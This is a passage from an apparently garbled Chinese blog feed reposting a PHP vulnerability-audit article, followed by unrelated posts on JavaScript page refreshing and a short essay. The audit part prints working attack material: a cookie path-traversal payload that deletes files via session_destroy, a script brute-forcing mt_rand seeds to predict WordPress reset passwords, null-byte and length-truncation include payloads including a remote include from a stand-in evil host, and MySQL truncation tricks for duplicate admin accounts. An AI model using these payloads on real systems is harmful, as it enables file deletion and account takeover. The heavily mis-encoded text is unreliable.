-------------------------------------------------------------------------------<br />     <br /> +++++++++++++++++++++++++<br /> 漏洞审计{略<br /> -------------------------<br /> PHP版本要求Qphp4<4.3 php5<5.14<br /> pȝ要求Q无<br /> 审计{略Q查找unset<br /> +++++++++++++++++++++++++</p> <p><br /> 5.5.3 session_destroy()删除文g漏洞Q测试PHP版本Q?.1.2Q?br />     <br />     q个漏洞是几q前朋友saiy发现的,session_destroy()函数的功能是删除session文gQ?br /> 很多web应用E序的logout的功能都直接调用q个函数删除sessionQ但是这个函数在一些?br /> 的版本中~少qoD可以删除L文g。测试代码如下:</p> <p>--code-------------------------------------------------------------------------<br /> <?php <br /> //val.php   <br /> session_save_path('./');<br /> session_start();<br /> if($_GET['del']) {<br /> session_unset();<br /> session_destroy();<br /> }else{<br /> $_SESSION['hei']=1;<br /> echo(session_id());<br /> print_r($_SESSION);<br /> }<br /> ?><br /> -------------------------------------------------------------------------------</p> <p>    当我们提交构造cookie:PHPSESSID=/../1.phpQ相当于unlink('sess_/../1.php')q样<br /> 通过注射../转蟩目录删除L文g了。很多著名的E序某些版本都受影响如phpmyadminQ?br /> sablogQphpwind3{等?/p> <p>+++++++++++++++++++++++++<br /> 漏洞审计{略<br /> -------------------------<br /> PHP版本要求Q具体不?br /> pȝ要求Q无<br /> 审计{略Q查找session_destroy<br /> +++++++++++++++++++++++++</p> <p><br /> 5.5.4 随机函数<br />     <br /> 1) rand() VS mt_rand()</p> <p>--code-------------------------------------------------------------------------<br /> <?php<br /> //on windows<br /> print mt_getrandmax(); //2147483647<br /> print getrandmax();// 32767<br /> ?><br /> -------------------------------------------------------------------------------</p> <p>    可以看出rand()最大的随机数是32767Q这个很Ҏ被我们暴力破解?</p> <p>--code-------------------------------------------------------------------------<br /> <?php<br /> $a= md5(rand());<br /> for($i=0;$i<=32767;$i++){<br />   if(md5($i) ==$a ) {<br />    print $i."-->ok!!<br>";exit;<br />    }else { print $i."<br>";}<br /> }<br /> ?><br /> -------------------------------------------------------------------------------</p> <p>    当我们的E序使用rand处理sessionӞd者很Ҏ暴力破解Z的sessionQ但是对?br /> mt_rand是很隑֍U的暴力的?/p> <p>+++++++++++++++++++++++++<br /> 漏洞审计{略<br /> -------------------------<br /> PHP版本要求Q无<br /> pȝ要求Q无<br /> 审计{略Q查找rand<br /> +++++++++++++++++++++++++</p> <p><br /> 2) mt_srand()/srand()-weak seedingQby Stefan EsserQ?br />     <br />     看php手册里的描述Q?/p> <p>-------------------------------------------------------------------------------<br /> mt_srand<br /> (PHP 3 >= 3.0.6, PHP 4, PHP 5)</p> <p>mt_srand -- 播下一个更好的随机数发生器U子<br /> 说明<br /> void mt_srand ( int seed )</p> <p><br /> ?seed 来给随机数发生器播种。从 PHP 4.2.0 版开始,seed 参数变ؓ可选项Q当该项为空<br /> Ӟ会被设ؓ随时数?</p> <p>例子 1. mt_srand() 范例</p> <p><?php<br /> // seed with microseconds<br /> function make_seed()<br /> {<br />     list($usec, $sec) = explode(' ', microtime());<br />     return (float) $sec + ((float) $usec * 100000);<br /> }<br /> mt_srand(make_seed());<br /> $randval = mt_rand();<br /> ?>  </p> <p>? ?PHP 4.2.0 P不再需要用 srand() ?mt_srand() 函数l随机数发生器播U,现已<br /> 自动完成?br /> -------------------------------------------------------------------------------</p> <p>    php?.2.0开始实C自动播种Q但是ؓ了兼容,后来使用cM于这L代码播种Q?/p> <p>--code-------------------------------------------------------------------------<br /> mt_srand ((double) microtime() * 1000000)<br /> -------------------------------------------------------------------------------</p> <p>    但是使用(double)microtime()*1000000cM的代码seed是比较脆qQ?/p> <p>0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000</p> <p>    那么很容易暴力破?试代码如下Q?/p> <p>--code-------------------------------------------------------------------------<br /> <?php<br /> /////////////////<br /> //>php rand.php<br /> //828682<br /> //828682<br /> ////////////////<br /> ini_set("max_execution_time",0);<br /> $time=(double) microtime()* 1000000;<br /> print $time."\n";<br /> mt_srand ($time);</p> <p>$search_id = mt_rand();<br /> $seed = search_seed($search_id);<br /> print $seed;<br /> function search_seed($rand_num) {<br /> $max = 1000000;<br /> for($seed=0;$seed<=$max;$seed++){<br /> mt_srand($seed);<br /> $key = mt_rand();<br /> if($key==$rand_num) return $seed;<br /> }<br /> return false;<br /> }<br /> ?><br /> -------------------------------------------------------------------------------</p> <p>    从上面的代码实现了对seed的破解,另外ҎStefan Esser的分析seedq根据进E变?br /> 而变化,换句话来说同一个进E里的seed是相同的?然后同一个seed每次mt_rand的值都?br /> 特定的。如下图Q?/p> <p>+--------------+<br /> |   seed-A     |<br /> +--------------+<br /> | mt_rand-A-1  |<br /> | mt_rand-A-2  |<br /> | mt_rand-A-3  |<br /> +--------------+</p> <p>+--------------+<br /> |   seed-B     |<br /> +--------------+<br /> | mt_rand-B-1  |<br /> | mt_rand-B-2  |<br /> | mt_rand-B-3  |<br /> +--------------+</p> <p>    对于seed-A里mt_rand-1/2/3都是不相{的Q但是值都是特定的Q也是说当seed-A{于<br /> seed-BQ那么mt_rand-A-1q于mt_rand-B-1…Q这h们只要能够得到seed可以得到每?br /> mt_rand的g?/p> <p>    对于5.2.6>php>4.2.0直接使用默认播种的程序也是不安全的(很多的安全h员错误的?br /> 样就是安全的Q,q个要分两种情况来分析:</p> <p>W一U:'Cross Application Attacks'Q这个思\在Stefan Esser文章里有提到Q主要是利用<br /> 其他E序定义的播U(如mt_srand ((double) microtime()* 1000000)Q,phpbb+wordpreel?br /> 合就存在q样的危?</p> <p>W二U:5.2.6>php>4.2.0默认播种的算法也不是很强悍,q是Stefan Esser的文章里的描qͼ</p> <p>-------------------------------------------------------------------------------<br /> The Implementation<br /> When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5 <br /> <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only<br /> 31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne <br /> Twister was changed and the forced bit removed.<br /> -------------------------------------------------------------------------------</p> <p>    ?2位系l上默认的播U的U子为最大值是2^32Q这h们@环最?^32ơ就可以破解<br /> seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有个bugQ奇数和偶数的播U是一LQ详见附?br /> [3]Q?试代码如下Q?/p> <p>--code-------------------------------------------------------------------------<br /> <?php<br /> mt_srand(4); <br /> $a = mt_rand(); <br /> mt_srand(5); <br /> $b = mt_rand();<br /> print $a."\n".$b;<br /> ?><br /> -------------------------------------------------------------------------------</p> <p>    通过上面的代码发?a==$bQ所以我们@环的ơ数?^32/2=2^31ơ。我们看如下代码Q?/p> <p>--code-------------------------------------------------------------------------<br /> <?php<br /> //base on http://www.milw0rm.com/exploits/6421 <br /> //test on php 5.2.0</p> <p>define('BUGGY', 1); //上面代码$a==$b时候定义BUGGY=1</p> <p>$key = wp_generate_password(20, false);<br /> echo $key."\n";<br /> $seed = getseed($key);<br /> print $seed."\n"; </p> <p>mt_srand($seed);<br /> $pass = wp_generate_password(20, false);<br /> echo $pass."\n"; </p> <p>function wp_generate_password($length = 12, $special_chars = true) {<br /> $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';<br /> if ( $special_chars )<br /> $chars .= '!@#$%^&*()';</p> <p>$password = '';<br /> for ( $i = 0; $i < $length; $i++ )<br /> $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);<br /> return $password;<br /> } </p> <p>function getseed($resetkey) {<br /> $max = pow(2,(32-BUGGY));<br /> for($x=0;$x<=$max;$x++) {<br /> $seed = BUGGY ? ($x << 1) + 1 : $x; <br /> mt_srand($seed);<br /> $testkey = wp_generate_password(20,false);<br /> if($testkey==$resetkey) { echo "o\n"; return $seed; }</p> <p>if(!($x % 10000)) echo $x / 10000;<br /> }<br /> echo "\n";<br /> return false;<br /> }<br /> ?><br /> -------------------------------------------------------------------------------</p> <p>    q行l果如下Q?/p> <p>-------------------------------------------------------------------------------<br /> php5>php rand.php<br /> M8pzpjwCrvVt3oobAaOr<br /> 0123456789101112131415161718192021222324252627282930313233343536373839404142434<br /> 445464748495051525354555657585960616263646566676869<br /> 7071727374757677787980818283848586878889909192939495969798991001011021031041051<br /> 061071081091101111121131141151161171181191201211221<br /> 2312412512612712812913013113213313413513613713813914014114214314414514614714814<br /> 915015115215315415515615715815916016116216316416516<br /> 6167168169170171172173174175176177178179180181182183184185186187188189190191192<br /> 193194195196197198199200201202203204205206207208209<br /> 2102112122132142152162172182192202212222232242252262272282292302312322332342352<br /> 362372382392402412422432442452462472482492502512522<br /> ..............01062110622106231062410625106261062710628106291063010631106321063<br /> 3o<br /> 70693<br /> pjwCrvVt3oobAaOr<br /> -------------------------------------------------------------------------------</p> <p>    ?0634ơ时候我们得Cl果?/p> <p>    当PHP版本C5.2.1后,通过修改法修补了奇数和偶数的播U相{的问题Q这样也D<br /> 了php5.2.0前后D同一个播U后的mt_rand()的g一栗比如:</p> <p>--code-------------------------------------------------------------------------<br /> <?php<br /> mt_srand(42);<br /> echo mt_rand();<br /> //php<=5.20 1387371436<br /> //php>5.20 1354439493 <br /> ?><br /> -------------------------------------------------------------------------------</p> <p>    正是q个原因Q也要求了我们的exp的运行环境:当目?gt;5.20时候,我们expq行的环境也<br /> 要是>5.20的版本,反过来也是一栗?/p> <p>    从上面的试及分析来看,php<5.26不管有没有定义播U,mt_rand处理的数据都是不?br /> 全的。在web应用里很多都使用mt_rand来处理随机的sessionQ比如密码找回功能等{,q样<br /> 的后果就是被d者恶意利用直接修改密码?/p> <p>    很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb{等。(在后面我们将<br /> 实际分析下国内著名的bbsE序Discuz!的mt_srandD的漏z)</p> <p>+++++++++++++++++++++++++<br /> 漏洞审计{略<br /> -------------------------<br /> PHP版本要求Qphp4 php5<5.2.6<br /> pȝ要求Q无<br /> 审计{略Q查找mt_srand/mt_rand<br /> +++++++++++++++++++++++++</p> <p><br /> 5.6 Ҏ字符</p> <p>    其实“Ҏ字符”也没有特定的标准定义Q主要是在一些code hacking发挥着Ҏ重作?br /> 的一cdW。下面就丑և个例子:<br />    <br /> 5.6.1 截断</p> <p>    其中最有名的数大家都熟悉的null字符截断?/p> <p>5.6.1.1 include截断</p> <p>--code-------------------------------------------------------------------------<br /> <?php <br /> include $_GET['action'].".php"; <br /> ?><br /> -------------------------------------------------------------------------------</p> <p>    提交“action=/etc/passwd%00”中的“%00”截断后面的“.php”Q但是除?#8220;%00”q有没有<br /> 其他的字W可以实现截断用呢Q肯定有人想Cq程包含的url里问?#8220;?”的作用,通过提交<br /> “action=http://www.hacksite.com/evil-code.txt?”q里“?”实现?#8220;伪截?#8221;Q)Q好象这?br /> 看上M是那么舒服那么我们简单写个代码fuzz一下:</p> <p>--code-------------------------------------------------------------------------<br /> <?php<br /> ////////////////////<br /> ////var5.php代码:<br /> ////include $_GET['action'].".php"; <br /> ////print strlen(realpath("./"))+strlen($_GET['action']);  <br /> ///////////////////<br /> ini_set('max_execution_time', 0);<br /> $str='';<br /> for($i=0;$i<50000;$i++)<br /> {<br /> $str=$str."/";</p> <p>$resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);<br /> //1.txt里的代码为print 'hi';<br /> if (strpos($resp, 'hi') !== false){<br /> print $i;<br /> exit;<br /> }<br /> }<br /> ?><br /> -------------------------------------------------------------------------------</p> <p>    l过试字符“.”?#8220; /”或?个字W的l合Q在一定的长度时将被截断,winpȝ?nix<br /> 的系l长度不一P当win下strlen(realpath("./"))+strlen($_GET['action'])的长度大?br /> 256时被截断Q对?nix的长度是4 * 1024 = 4096。对于php.ini里设|远E文件关闭的时?br /> 可以利用上面的技巧包含本地文件了。(此漏z由cloie#ph4nt0m.org最先发现]Q?/p> <p><br /> 5.6.1.2 数据截断<br />     <br />     对于很多web应用文g在很多功能是不容讔R复数据的Q比如用h册功能等。一般的?br /> 用程序对于提交注册的username和数据库里已有的usernameҎ是不是已l有重复数据Q然<br /> 而我们可以通过“数据截断”{来饶过q些判断Q数据库在处理时候生截断导致插入重复数<br /> 据?br />     <br /> 1) Mysql SQL Column Truncation Vulnerabilities<br />    <br />     q个漏洞又是大牛Stefan Esser发现的(Stefan Esser是我的偶?)Q,q个是由于mysql<br /> 的sql_mode讄为default的时候,x有开启STRICT_ALL_TABLES选项ӞMySQL对于插入?br /> 长的值只会提CwarningQ而不是errorQ如果是error插入不成功Q,q样可能会导致一些截<br /> 断问题。测试如下:<br />     <br /> --code-------------------------------------------------------------------------<br /> mysql> insert into truncated_test(`username`,`password`) values("admin","pass");</p> <p>mysql> insert into truncated_test(`username`,`password`) values("admin           x", "new_pass");<br /> Query OK, 1 row affected, 1 warning (0.01 sec)</p> <p>mysql> select * from truncated_test;<br /> +----+------------+----------+<br /> | id | username   | password |<br /> +----+------------+----------+<br /> | 1 | admin      | pass     |<br /> | 2 | admin      | new_pass |<br /> +----+------------+----------+<br /> 2 rows in set (0.00 sec)<br /> -------------------------------------------------------------------------------</p> <p>2) Mysql charset Truncation vulnerability<br />     <br />     q个漏洞?0sec发现的,当mysqlq行数据存储处理utf8{数据时Ҏ些字W导致数?br /> 截断。测试如下:<br />     <br /> --code-------------------------------------------------------------------------<br /> mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2");<br /> Query OK, 1 row affected, 1 warning (0.00 sec)</p> <p>mysql> select * from truncated_test;<br /> +----+------------+----------+<br /> | id | username   | password |<br /> +----+------------+----------+<br /> | 1 | admin      | pass      |<br /> | 2 | admin      | new_pass  |<br /> | 3 | admin      | new_pass2 |<br /> +----+------------+----------+<br /> 2 rows in set (0.00 sec)<br /> -------------------------------------------------------------------------------<br />     <br />     很多的web应用E序没有考虑到这些问题,只是在数据存储前单查询数据是否包含相?br /> 数据Q如下代码:</p> <p>--code-------------------------------------------------------------------------<br /> $result = mysql_query("SELECT * from test_user where user='$user' ");<br />   ....<br /> if(@mysql_fetch_array($result, MYSQL_NUM)) {<br /> die("already exist");<br /> }<br /> -------------------------------------------------------------------------------</p> <p>+++++++++++++++++++++++++<br /> 漏洞审计{略<br /> -------------------------<br /> PHP版本要求Q无<br /> pȝ要求Q无<br /> 审计{略Q通读代码<br /> +++++++++++++++++++++++++</p> <p><br /> 5.6.1.3 文g操作里的Ҏ字符<br />     <br />     文g操作里有很多Ҏ的字W,发挥特别的作用,很多web应用E序没有注意处理q些?br /> W而导致安全问题。比如很多h都知道的windowspȝ文g名对“I格”?#8220;.”{的忽视Q这?br /> 主要体现在上传文件或者写文g上,D直接写webshell。另外对于windowspȝ?#8220;.\..\”<br /> q行pȝ转蟩{等?br />     <br />     下面q给大家介绍一个非常有意思的问题Q?/p> <p>--code-------------------------------------------------------------------------<br /> //Is this code vul?<br /> if( eregi(".php",$url) ){<br /> die("ERR");<br /> }<br /> $fileurl=str_replace($webdb[www_url],"",$url);<br /> .....<br /> header('Content-Disposition: attachment; filename='.$filename);<br /> -------------------------------------------------------------------------------<br />     <br />     很多人看出来了上面的代码的问题,E序首先止使用“.php”后缀。但是下面居然接?br /> 个str_replace替换$webdb[www_url]为空Q那么我们提?#8220;.p$webdb[www_url]hp”可以饶q?br /> 了。那么上面的代码杂fix呢?有hl出了如下代码:</p> <p>--code-------------------------------------------------------------------------<br /> $fileurl=str_replace($webdb[www_url],"",$url);<br /> if( eregi(".php",$url) ){<br /> die("ERR");<br /> }<br /> -------------------------------------------------------------------------------</p> <p>    str_replace提到前面了,很完的解决了str_replace代码的安全问题,但是问题不是?br /> 么简单,上面的代码在某些pȝ上一样可以突破。接下来我们先看看下面的代码Q?/p> <p>--code-------------------------------------------------------------------------<br /> <?php<br /> for($i=0;$i<255;$i++) {<br /> $url = '1.ph'.chr($i);<br /> $tmp = @file_get_contents($url);<br /> if(!empty($tmp)) echo chr($i)."\r\n";<br /> }  <br /> ?><br /> -------------------------------------------------------------------------------</p> <p>    我们在windowspȝq行上面的代码得到如下字W? < > ? P p都可以打开目录下的1.php?/p> <p>+++++++++++++++++++++++++<br /> 漏洞审计{略<br /> -------------------------<br /> PHP版本要求Q无<br /> pȝ要求Q无<br /> 审计{略Q文d件操作函?br /> +++++++++++++++++++++++++</p> <p><br /> 六、怎么q一步寻找新的字?/p> <p>    上面我们列D很多的字典,但是很多都是已经公开q的漏洞或者方式,那么我们怎么q一<br /> 步找到新的字典或者利用方式呢Q?/p> <p>    * 分析和学习别人发现的漏洞或者expQȝ出漏z类型及字典?br />     <br />     * 通过学习php手册或者官Ҏ?挖掘出新的有危害的函数或者利用方式?br />     <br />     * fuzz php的函敎ͼ扑ֈ新的有问题的函数Q不一定非要溢出的Q,如上一章的4.6的部?br /> 很多都可以简单的fuzz脚本可以试出来?br />     <br />     * 分析php源代码,发现新的漏洞函数“Ҏ?#8221;或者漏z。(在上一节里介绍的那?#8220;漏洞?br /> 计策?#8221;里,都没有php源代码的分析Q如果你要进一步找到新的字典,可以在php源代码的基础<br /> 上分析下成因Q然后根据这个成因来分析L新的漏洞函数“Ҏ?#8221;或者漏z。)Q我们以后会<br /> 陆箋公布一些我们对php源代码的分析Q?br />     <br />     * 有条件或者机会和开发者学习,扑ֈ他们实现某些常用功能的代码的~陷或者容易忽<br /> 视的问题<br />     <br />     * 你有什么要补充的吗Q?Q)<br />   </p> <p>七、DEMO</p> <p>    * DEMO -- Discuz! Reset User Password 0day Vulnerability 分析<br />     QExp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txtQ?/p> <p>    PHP版本要求:php4 php5<5.2.6<br />     pȝ要求: ?br />     审计{略:查找mt_srand/mt_rand</p> <p>    W一?安装Discuz! 6.1后利用grep查找mt_srand得到Q?/p> <p>-------------------------------------------------------------------------------<br /> heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5<br /> ./include/global.func.php-694-  $GLOBALS['rewritecompatible'] && $name = rawurlencode($name);<br /> ./include/global.func.php-695-  return '<a href="tag-'.$name.'.html"'.stripslashes($extra).'>';<br /> ./include/global.func.php-696-}<br /> ./include/global.func.php-697-<br /> ./include/global.func.php-698-function random($length, $numeric = 0) {<br /> ./include/global.func.php:699:  PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);<br /> ./include/global.func.php-700-  if($numeric) {<br /> ./include/global.func.php-701-          $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1));<br /> ./include/global.func.php-702-  } else {<br /> ./include/global.func.php-703-          $hash = '';<br /> ./include/global.func.php-704-          $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';<br /> --<br /> ./include/discuzcode.func.php-30-<br /> ./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) {<br /> ./include/discuzcode.func.php-32-       @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php';<br /> ./include/discuzcode.func.php-33-}<br /> ./include/discuzcode.func.php-34-<br /> ./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);<br /> ./include/discuzcode.func.php-36-<br /> ./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) {<br /> ./include/discuzcode.func.php-38-       global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml;<br /> ./include/discuzcode.func.php-39-       $attach = $postlist[$pid]['attachments'][$aid];<br /> ./include/discuzcode.func.php-40-       if($attach['attachimg']) {<br /> -------------------------------------------------------------------------------</p> <p>    有两个文件用Cmt_srand()Q第1是在./include/global.func.php的随机函数random()里:</p> <p>--code-------------------------------------------------------------------------<br /> PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);<br /> -------------------------------------------------------------------------------</p> <p>    判断了版本,如果是PHP_VERSION > '4.2.0'使用php本n默认的播U。从上一章里的分<br /> 析我们可以看得出来,使用php本n默认的播U的分程序两U情况:</p> <p>1) 'Cross Application Attacks' q个思\是只要目标上有用用的E序里定义了cM<br /> mt_srand((double)microtime() * 1000000)的播U的话,又很有可能被暴力。在dzq里不需<br /> 要Cross ApplicationQ因Z本n有文件就定义了,是上面的第2个文Ӟ </p> <p>--code-------------------------------------------------------------------------<br /> ./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);<br /> -------------------------------------------------------------------------------</p> <p>    q里我们肯定dz是存在这个漏z的Q文章给出来的exp也就是基于这个的。(具体exp利用<br /> 的流E有兴趣的可以自己分析下]Q?/p> <p>2) 有的为如果没有mt_srand((double)microtime() * 1000000);q里的定义,那么dz?br /> 不存在漏z,q个是不正确的。首先你不可以保证别Z用的其他应用E序没有定义Q再ơ不<br /> 利用'Cross Application Attacks'Q?.2.6>php>4.2.0 php本n默认播种的算法也不是很强<br /> 悍(分析详见上)Q也是有可以暴力出来Q只是速度要慢一炏V?/p> <p><br /> 八、后?/p> <p>    本文?0vul的三大马Ԍ80vul-AQ?0vul-BQ?0vul-C集体智慧的结Ӟ其?0vul-B?br /> 献了不少新发现。另外需要感谢的是文章里提到的那些漏z的发现者,没有他们的成果也?br /> 没有本文。本文没有写“参?#8221;Q因为本文是一个ȝ性的文挡Q有太多的连接需要提供限于篇<br /> q就没有一一列DQ有心的读者可以自行google。另外原本没有打公布此文,因ؓ里面包含<br /> 了太多应用程序的0dayQ而且有太多的不尊重别人成果的人,老是利用从别人那学到的技术来<br /> 炫耀Q甚至牟取利益。在q里我们希望你可以在本文里学C东西Q更加希望如果通过本文?br /> 扑ֈ了某些应用程序的0dayQ请低调处理Q或者直接提交给官方修补Q谢谢大ӞQ?/p> <p><br /> 九、附?/p> <p>[1] http://bbs.phpchina.com/attachment.php?aid=22294<br /> [2] http://www.php-security.org/<br /> [3] http://bugs.php.net/bug.php?id=40114<br /> </p> <img src ="http://m.tkk7.com/jasonxiao/aggbug/324691.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/jasonxiao/" target="_blank">肖马?/a> 2010-06-28 18:14 <a href="http://m.tkk7.com/jasonxiao/archive/2010/06/28/324691.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>jsh大全http://m.tkk7.com/jasonxiao/archive/2010/06/04/322705.html肖马?/dc:creator>肖马?/author>Fri, 04 Jun 2010 02:38:00 GMThttp://m.tkk7.com/jasonxiao/archive/2010/06/04/322705.htmlhttp://m.tkk7.com/jasonxiao/comments/322705.htmlhttp://m.tkk7.com/jasonxiao/archive/2010/06/04/322705.html#Feedback0http://m.tkk7.com/jasonxiao/comments/commentRss/322705.htmlhttp://m.tkk7.com/jasonxiao/services/trackbacks/322705.html         下面以三个页面分别命名ؓframe.html?strong>top.html?strong>bottom.htmlZ来具体说明如何做?nbsp;
        
        frame.html ׃(top.html)?bottom.html)两个面l成Q代码如下:
 1<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 
 2<HTML> 
 3<HEAD> 
 4<TITLE> frame </TITLE> 
 5</HEAD> 
 6<frameset rows="50%,50%"> 
 7   <frame name=top src="top.html"> 
 8   <frame name=bottom src="bottom.html"> 
 9</frameset> 
10</HTML> 
     
        现在假设top.html (即上面的面) 有七个button来实现对bottom.html (即下面的面) 的刷斎ͼ可以用以下七U语句,哪个好用自己看着办了?nbsp;     
 1top.html 面的代码如下: 
 2
 3<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 
 4<HTML> 
 5<HEAD> 
 6<TITLE> top.html </TITLE> 
 7</HEAD> 
 8<BODY> 
 9  <input type=button value="h1" onclick="window.parent.frames[1].location.reload()"><br> 
10  <input type=button value="h2" onclick="window.parent.frames.bottom.location.reload()"><br> 
11  <input type=button value="h3" onclick="window.parent.frames['bottom'].location.reload()"><br>  
12  <input type=button value="h4" onclick="window.parent.frames.item(1).location.reload()"><br> 
13  <input type=button value="h5" onclick="window.parent.frames.item('bottom').location.reload()"><br> 
14  <input type=button value="h6" onclick="window.parent.bottom.location.reload()"><br> 
15  <input type=button value="h7" onclick="window.parent['bottom'].location.reload()"><br> 
16</BODY> 
17</HTML> 
18
          
           下面是bottom.html面源代码,Z证明下方面的确被刷CQ在装蝲完页面弹Z个对话框?nbsp; 
 1
 2<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 
 3<HTML> 
 4<HEAD> 
 5<TITLE> bottom.html </TITLE> 
 6</HEAD> 
 7<BODY onload="alert('我被加蝲了!')"> 
 8   <h1>This is the content in bottom.html.</h1> 
 9</BODY> 
10</HTML> 

              解释一下:
1.window指代的是当前面Q例如对于此例它指的是top.html面?nbsp;
2.parent指的是当前页面的爉面,也就是包含它的框枉面。例如对于此例它指的是framedemo.html?nbsp;
3.frames是window对象Q是一个数l。代表着该框架内所有子面?nbsp;
4.item是方法。返回数l里面的元素?nbsp;
5.如果子页面也是个框架面Q里面还是其它的子页面,那么上面的有些方法可能不行?nbsp;

附: 

Javascripth面的几U方法: 
1 history.go(0) 
2 location.reload() 
3 location=location 
4 location.assign(location) 
5 document.execCommand('Refresh') 
6 window.navigate(location) 
7 location.replace(location) 
8 document.URL=location.href 

二、自动刷新页?br />         1.面自动hQ把如下代码加入<head>区域?nbsp;      
<meta http-equiv="refresh" content="20"> 
其中20指每?0U刷Cơ页? 
       2.面自动跌{Q把如下代码加入<head>区域?br />
<meta http-equiv="refresh" content="20;url=http://xcp.blogjava.net"> 
其中20指隔20U后跌{到http://xcp.blogjava.net面 
      3.面自动hjs?
<script language="JavaScript"> 
    
function myrefresh() 
    

           window.location.reload(); 
    }
 
    setTimeout('myrefresh()',
1000); //指定1U刷C?nbsp;
</script> 


三、java在写Servler,Action{程序时Q要操作q回面的话Q如谈出了窗口,操作完成以后Q关闭当前页面,h爉面)
1        PrintWriter out = response.getWriter();
2        out.write("<script  type=\"text/javascript\">");
3         ////子窗口刷新父H口 
4         out.write("self.opener.location.reload();"); 
5         //关闭H口
6         out.write("window.opener=null;");
7         out.write("window.close();");
8         out.write("</script>");

四、JSh框架的脚本语?
        1.如何h包含该框架的面?
<script language=JavaScript> 
  parent.location.reload(); 
</script> 
      
       2.子窗口刷新父H口
<script language=JavaScript> 
    self.opener.location.reload(); 
</script> 
     
       3.如何h另一个框架的面?Q上面的实例以说明了Q?br />
语句1. window.parent.frames[1].location.reload(); 
语句2. window.parent.frames.bottom.location.reload(); 
语句3. window.parent.frames[
"bottom"].location.reload(); 
语句4. window.parent.frames.item(
1).location.reload(); 
语句5. window.parent.frames.item('bottom').location.reload(); 
语句6. window.parent.bottom.location.reload(); 
语句7. window.parent['bottom'].location.reload(); 
    
       4.如果惛_闭窗口时h或者想开H时h的话Q在<body>中调用以下语句即可?nbsp;
<body onload="opener.location.reload()"> 开H时h 
<body onUnload="opener.location.reload()"> 关闭时刷?nbsp;
<script language="javascript"> 
    window.opener.document.location.reload() 
</script> 


]]>
jsq回上一?/title><link>http://m.tkk7.com/jasonxiao/archive/2010/05/30/322288.html</link><dc:creator>肖马?/dc:creator><author>肖马?/author><pubDate>Sun, 30 May 2010 09:18:00 GMT</pubDate><guid>http://m.tkk7.com/jasonxiao/archive/2010/05/30/322288.html</guid><wfw:comment>http://m.tkk7.com/jasonxiao/comments/322288.html</wfw:comment><comments>http://m.tkk7.com/jasonxiao/archive/2010/05/30/322288.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.tkk7.com/jasonxiao/comments/commentRss/322288.html</wfw:commentRss><trackback:ping>http://m.tkk7.com/jasonxiao/services/trackbacks/322288.html</trackback:ping><description><![CDATA[链接q回上一: <br /> <a href="javascript :history.back(-1)">q回上一?lt;/a> <br /> ?<br /> <a href="javascript :;" onClick="javascript :history.back(-1);">q回上一?lt;/a> <br /> <br /> 按钮q回上一: <br /> <input type="button" name="Submit" onclick="javascript:history.back(-1);" value="q回上一?> <br /> <br /> 囄q回上一: <br /> <img src="囄路径" border="0" onclick="javascript:history.back(-1);" title="q回上一?> <br /> <img src ="http://m.tkk7.com/jasonxiao/aggbug/322288.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/jasonxiao/" target="_blank">肖马?/a> 2010-05-30 17:18 <a href="http://m.tkk7.com/jasonxiao/archive/2010/05/30/322288.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用禅宗理解开发境?http://m.tkk7.com/jasonxiao/archive/2009/12/29/307607.html肖马?/dc:creator>肖马?/author>Tue, 29 Dec 2009 02:51:00 GMThttp://m.tkk7.com/jasonxiao/archive/2009/12/29/307607.htmlhttp://m.tkk7.com/jasonxiao/comments/307607.htmlhttp://m.tkk7.com/jasonxiao/archive/2009/12/29/307607.html#Feedback0http://m.tkk7.com/jasonxiao/comments/commentRss/307607.htmlhttp://m.tkk7.com/jasonxiao/services/trackbacks/307607.html参禅之初Q看山是?看水是水
初学E序开发时认ؓQC ?C、VB ?VB 都是要一个一个学的?br />
有悟时Q看׃是山 看水不是?/strong>
{到渐渐地把开发语aq用U熟了,可以触类旁通,发现以前学过的那些语a和将要新学的QLq样那样的相通、相q、相g处。Q何一门语aQ都能快速上手。在意识里语a已没有差别,无非是语法与关键字的区别而已Q语a已经不重要了?br />
中LQ看׃然是?看水仍然是水
q了很长旉才发玎ͼ那时自己q没有到达最高境界,才醒悟到以前所谓的掌握多种语言Q其实还是只掌握了一门语aQ就像《天龙八部》里的鸠摩智Q以无相神功,耍那林七十二绝技Q其实却都不q是一套本事Ş了。而且更ؓ重要的是更加意识到要真正用好一门语aQ发挥一门语a的长处,理解q门语言的思想内涵Q实现细节是非常关键的。而实现细节是各个语言自n的特Ԍ到头来还是把不同的语aQ当成不同的语言来用?/div>

]]>
